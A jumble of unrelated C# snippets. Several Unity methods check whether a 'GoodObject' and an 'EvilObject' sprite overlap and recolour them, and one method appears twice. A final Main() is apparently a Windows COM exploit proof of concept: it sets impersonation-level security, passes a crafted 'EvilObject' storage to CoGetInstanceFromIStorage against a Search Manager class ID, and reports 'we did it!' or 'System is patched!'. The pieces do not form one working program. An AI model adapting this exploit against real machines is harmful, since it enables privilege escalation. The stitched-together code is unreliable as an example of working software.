public void Start() { _spriteGoodTexture = GoodObject.GetComponent <SpriteRenderer>(); _spriteEvilTexture = EvilObject.GetComponent <SpriteRenderer>(); _goodRectSize = new Point((int)GoodObjectTexture.rect.height, (int)GoodObjectTexture.rect.width); _evilRectSize = new Point((int)EvilObjectTexture.rect.height, (int)EvilObjectTexture.rect.width); }
public void Update() { _spriteGoodTexture = GoodObject.GetComponent <SpriteRenderer>(); _spriteEvilTexture = EvilObject.GetComponent <SpriteRenderer>(); _goodRectSize = new Point((int)GoodObjectTexture.rect.height, (int)GoodObjectTexture.rect.width); _evilRectSize = new Point((int)EvilObjectTexture.rect.height, (int)EvilObjectTexture.rect.width); _g1 = (float)GoodObject.transform.position.x; _g2 = (float)GoodObject.transform.position.y; _e1 = (float)EvilObject.transform.position.x; _e2 = (float)EvilObject.transform.position.y; RectangleF goodSpriteRect = new RectangleF(_g1, _g2, (float)_goodRectSize.X, (float)_goodRectSize.Y); RectangleF evilSpriteRect = new RectangleF(_e1, _e2, (float)_evilRectSize.X, (float)_evilRectSize.Y); //return goodSpriteRect.IntersectsWith(evilSpriteRect);// if (goodSpriteRect.IntersectsWith(evilSpriteRect)) { _spriteGoodTexture.color = UnityEngine.Color.red; _spriteEvilTexture.color = UnityEngine.Color.red; //return goodSpriteRect.IntersectsWith(evilSpriteRect);// } else { _spriteEvilTexture.color = UnityEngine.Color.blue; _spriteGoodTexture.color = UnityEngine.Color.blue; //return goodSpriteRect.IntersectsWith(evilSpriteRect);// } }
public void Start() { ObjectsAll = GameObject.FindGameObjectsWithTag("tagBox"); EarthTagObjectsAll = GameObject.FindGameObjectsWithTag("tagEarth"); _spriteGoodTexture = GoodObject.GetComponent <SpriteRenderer>(); _spriteEvilTexture = EvilObject.GetComponent <SpriteRenderer>(); _goodRectSize = new Point((int)GoodObjectTexture.rect.height, (int)GoodObjectTexture.rect.width); _evilRectSize = new Point((int)EvilObjectTexture.rect.height, (int)EvilObjectTexture.rect.width); }
public static void Main() { CoInitialize(IntPtr.Zero); CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RpcAuthnLevel.Default, RpcImpLevel.Impersonate, IntPtr.Zero, EoAuthnCap.None, IntPtr.Zero); ImmIStorage doc_storage = null; IntPtr p_lb = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(IntPtr))); var iret = CreateILockBytesOnHGlobal(IntPtr.Zero, false, p_lb); IntPtr lb = Marshal.ReadIntPtr(p_lb); StgCreateDocfileOnILockBytes(lb, STGM.STGM_CREATE | STGM.STGM_READWRITE | STGM.STGM_SHARE_EXCLUSIVE, 0, out doc_storage); Guid doc_guid = Guid.NewGuid(); ImmIStorage object_storage = new EvilObject(doc_storage, doc_guid); Guid search_manager_guid = new Guid("7D096C5F-AC08-4F1F-BEB7-5C22C517CE39"); Program.IMM_MULTI_QI[] multi_qi = new IMM_MULTI_QI[1]; // IUnknown multi_qi[0].pIID = NativeGuid(new Guid("00000000-0000-0000-C000-000000000046")); multi_qi[0].pItf = null; multi_qi[0].hr = 0; try { CoGetInstanceFromIStorage(IntPtr.Zero, ref search_manager_guid, null, // CLSCTX.CLSCTX_LOCAL_SERVER, CLSCTX.CLSCTX_INPROC_SERVER | CLSCTX.CLSCTX_INPROC_HANDLER | CLSCTX.CLSCTX_LOCAL_SERVER | CLSCTX.CLSCTX_REMOTE_SERVER, object_storage, 1, multi_qi); } catch (InvalidCastException e) { Console.WriteLine("Caught InvalidCastException - we did it!"); } catch (UnauthorizedAccessException e) { Console.WriteLine("System is patched!"); } }